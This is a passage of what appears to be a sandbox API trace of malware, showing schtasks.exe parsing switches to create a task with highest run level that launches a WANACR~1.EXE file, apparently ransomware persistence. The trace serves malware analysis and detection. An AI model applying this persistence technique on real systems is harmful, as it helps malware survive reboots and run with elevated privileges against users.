_Buffer="|rl|") returned 4 [0020.004] lstrlenW (lpString="|delete|") returned 8 [0020.004] lstrlenW (lpString="|rl|") returned 4 [0020.004] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0020.004] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.004] lstrlenW (lpString="query") returned 5 [0020.004] lstrlenW (lpString="query") returned 5 [0020.004] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.004] lstrlenW (lpString="rl") returned 2 [0020.004] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.004] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|query|") returned 7 [0020.004] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|rl|") returned 4 [0020.004] lstrlenW (lpString="|query|") returned 7 [0020.004] lstrlenW (lpString="|rl|") returned 4 [0020.004] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0020.004] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.004] lstrlenW (lpString="change") returned 6 [0020.004] lstrlenW (lpString="change") returned 6 [0020.004] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.004] lstrlenW (lpString="rl") returned 2 [0020.004] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.005] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|change|") returned 8 [0020.005] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|rl|") returned 4 [0020.005] lstrlenW (lpString="|change|") returned 8 [0020.005] lstrlenW (lpString="|rl|") returned 4 [0020.005] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] lstrlenW (lpString="run") returned 3 [0020.005] lstrlenW (lpString="run") returned 3 [0020.005] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.005] lstrlenW (lpString="rl") returned 2 [0020.005] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.005] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|run|") returned 5 [0020.005] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|rl|") returned 4 [0020.005] lstrlenW (lpString="|run|") returned 5 [0020.005] lstrlenW (lpString="|rl|") returned 4 [0020.005] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] lstrlenW (lpString="end") returned 3 [0020.005] lstrlenW (lpString="end") returned 3 [0020.005] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.005] lstrlenW (lpString="rl") returned 2 [0020.005] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.005] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|end|") returned 5 [0020.005] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|rl|") returned 4 [0020.005] lstrlenW (lpString="|end|") returned 5 [0020.005] lstrlenW (lpString="|rl|") returned 4 [0020.005] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] lstrlenW (lpString="showsid") returned 7 [0020.005] lstrlenW (lpString="showsid") returned 7 [0020.005] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.005] lstrlenW (lpString="rl") returned 2 [0020.005] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.005] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|showsid|") returned 9 [0020.005] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|rl|") returned 4 [0020.005] lstrlenW (lpString="|showsid|") returned 9 [0020.005] lstrlenW (lpString="|rl|") returned 4 [0020.005] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] lstrlenW (lpString="/rl") returned 3 [0020.005] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] lstrlenW (lpString="/rl") returned 3 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] lstrlenW (lpString="highest") returned 7 [0020.005] lstrlenW (lpString="-/") returned 2 [0020.005] StrChrIW (lpStart="-/", wMatch=0x68) returned 0x0 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.005] lstrlenW (lpString="highest") returned 7 [0020.005] StrChrIW (lpStart="highest", wMatch=0x3a) returned 0x0 [0020.005] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.006] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.006] lstrlenW (lpString="highest") returned 7 [0020.006] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.006] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.006] lstrlenW (lpString="/tr") returned 3 [0020.006] lstrlenW (lpString="-/") returned 2 [0020.006] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0020.006] lstrlenW (lpString="?") returned 1 [0020.006] lstrlenW (lpString="?") returned 1 [0020.006] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.006] lstrlenW (lpString="tr") returned 2 [0020.006] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.006] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|?|") returned 3 [0020.006] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tr|") returned 4 [0020.006] lstrlenW (lpString="|?|") returned 3 [0020.006] lstrlenW (lpString="|tr|") returned 4 [0020.006] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.006] lstrlenW (lpString="create") returned 6 [0020.006] lstrlenW (lpString="create") returned 6 [0020.006] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.006] lstrlenW (lpString="tr") returned 2 [0020.006] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.006] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|create|") returned 8 [0020.006] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tr|") returned 4 [0020.006] lstrlenW (lpString="|create|") returned 8 [0020.006] lstrlenW (lpString="|tr|") returned 4 [0020.006] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0020.006] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.006] lstrlenW (lpString="delete") returned 6 [0020.006] lstrlenW (lpString="delete") returned 6 [0020.006] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.006] lstrlenW (lpString="tr") returned 2 [0020.006] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.006] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|delete|") returned 8 [0020.006] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tr|") returned 4 [0020.006] lstrlenW (lpString="|delete|") returned 8 [0020.006] lstrlenW (lpString="|tr|") returned 4 [0020.006] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0020.006] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.006] lstrlenW (lpString="query") returned 5 [0020.006] lstrlenW (lpString="query") returned 5 [0020.006] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.006] lstrlenW (lpString="tr") returned 2 [0020.006] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.006] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|query|") returned 7 [0020.006] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tr|") returned 4 [0020.006] lstrlenW (lpString="|query|") returned 7 [0020.006] lstrlenW (lpString="|tr|") returned 4 [0020.006] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0020.006] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.006] lstrlenW (lpString="change") returned 6 [0020.006] lstrlenW (lpString="change") returned 6 [0020.006] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.006] lstrlenW (lpString="tr") returned 2 [0020.006] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.007] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|change|") returned 8 [0020.007] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tr|") returned 4 [0020.007] lstrlenW (lpString="|change|") returned 8 [0020.007] lstrlenW (lpString="|tr|") returned 4 [0020.007] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] lstrlenW (lpString="run") returned 3 [0020.007] lstrlenW (lpString="run") returned 3 [0020.007] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.007] lstrlenW (lpString="tr") returned 2 [0020.007] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.007] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|run|") returned 5 [0020.007] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tr|") returned 4 [0020.007] lstrlenW (lpString="|run|") returned 5 [0020.007] lstrlenW (lpString="|tr|") returned 4 [0020.007] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] lstrlenW (lpString="end") returned 3 [0020.007] lstrlenW (lpString="end") returned 3 [0020.007] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.007] lstrlenW (lpString="tr") returned 2 [0020.007] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.007] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|end|") returned 5 [0020.007] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tr|") returned 4 [0020.007] lstrlenW (lpString="|end|") returned 5 [0020.007] lstrlenW (lpString="|tr|") returned 4 [0020.007] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] lstrlenW (lpString="showsid") returned 7 [0020.007] lstrlenW (lpString="showsid") returned 7 [0020.007] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.007] lstrlenW (lpString="tr") returned 2 [0020.007] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.007] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|showsid|") returned 9 [0020.007] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410f778 | out: _Buffer="|tr|") returned 4 [0020.007] lstrlenW (lpString="|showsid|") returned 9 [0020.007] lstrlenW (lpString="|tr|") returned 4 [0020.007] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] lstrlenW (lpString="/tr") returned 3 [0020.007] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] lstrlenW (lpString="/tr") returned 3 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.007] lstrlenW (lpString="-/") returned 2 [0020.007] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.007] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.007] StrChrIW (lpStart="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE", wMatch=0x3a) returned=":\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" [0020.007] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.008] _memicmp (_Buf1=0x56c423ede0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.008] _memicmp (_Buf1=0x56c423ed60, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.008] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.008] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.008] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.008] lstrlenW (lpString="C") returned 1 [0020.008] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.008] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.008] lstrlenW (lpString="C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE") returned 33 [0020.008] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.010] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.010] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0020.010] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0020.010] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0020.010] RtlVerifyVersionInfo (VersionInfo=0x56c410c710, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0020.010] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.010] lstrlenW (lpString="create") returned 6 [0020.010] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0020.010] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.010] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.010] lstrlenW (lpString="create") returned 6 [0020.010] _memicmp (_Buf1=0x56c423eae0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.010] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.010] _memicmp (_Buf1=0x56c4233b70, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.010] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56c423c750, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0020.010] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x56c410c868 | out: lpdwHandle=0x56c410c868) returned 0x77c [0020.010] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x786, lpData=0x56c423f770 | out: lpData=0x56c423f770) returned 1 [0020.010] VerQueryValueW (in: pBlock=0x56c423f770, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x56c410c800, puLen=0x56c410c860 | out: lplpBuffer=0x56c410c800*=0x56c423fb28, puLen=0x56c410c860) returned 1 [0020.010] _memicmp (_Buf1=0x56c4233b70, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.010] _vsnwprintf (in: _Buffer=0x56c423c750, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x56c410c7d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0020.010] VerQueryValueW (in: pBlock=0x56c423f770, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x56c410c7f0, puLen=0x56c410c858 | out: lplpBuffer=0x56c410c7f0*=0x56c423f954, puLen=0x56c410c858) returned 1 [0020.010] lstrlenW (lpString="schtasks.exe") returned 12 [0020.010] lstrlenW (lpString="schtasks.exe") returned 12 [0020.010] lstrlenW (lpString=".EXE") returned 4 [0020.010] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0020.010] lstrlenW (lpString="schtasks.exe") returned 12 [0020.010] lstrlenW (lpString=".EXE") returned 4 [0020.010] lstrlenW (lpString="schtasks") returned 8 [0020.010] lstrlenW (lpString="/create") returned 7 [0020.010] _memicmp (_Buf1=0x56c4233b70, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.010] _vsnwprintf (in: _Buffer=0x56c423c750, _BufferCount=0x19, _Format="%s %s", _ArgList=0x56c410c7d8 | out: _Buffer="schtasks /create") returned 16 [0020.010] _memicmp (_Buf1=0x56c4237390, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.010] _memicmp (_Buf1=0x56c42373b0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.010] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x56c423f560, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0020.010] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0020.011] _vsnwprintf (in: _Buffer=0x56c423c960, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x56c410c7d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0020.011] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="create") returned 6 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="?") returned 1 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="s") returned 1 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="u") returned 1 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="p") returned 1 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="ru") returned 2 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="rp") returned 2 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="sc") returned 2 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="mo") returned 2 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="d") returned 1 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="m") returned 1 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="i") returned 1 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="tn") returned 2 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="tr") returned 2 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="st") returned 2 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="sd") returned 2 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="ed") returned 2 [0020.011] GetThreadLocale () returned 0x409 [0020.011] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.011] lstrlenW (lpString="it") returned 2 [0020.011] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="et") returned 2 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="k") returned 1 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="du") returned 2 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="ri") returned 2 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="z") returned 1 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="f") returned 1 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="v1") returned 2 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="xml") returned 3 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="ec") returned 2 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="rl") returned 2 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="delay") returned 5 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="np") returned 2 [0020.012] GetThreadLocale () returned 0x409 [0020.012] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0020.012] lstrlenW (lpString="hresult") returned 7 [0020.012] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.012] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.012] lstrlenW (lpString="/create") returned 7 [0020.012] lstrlenW (lpString="-/") returned 2 [0020.012] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0020.012] lstrlenW (lpString="create") returned 6 [0020.012] lstrlenW (lpString="create") returned 6 [0020.012] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.012] lstrlenW (lpString="create") returned 6 [0020.012] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.012] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|create|") returned 8 [0020.012] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|create|") returned 8 [0020.012] lstrlenW (lpString="|create|") returned 8 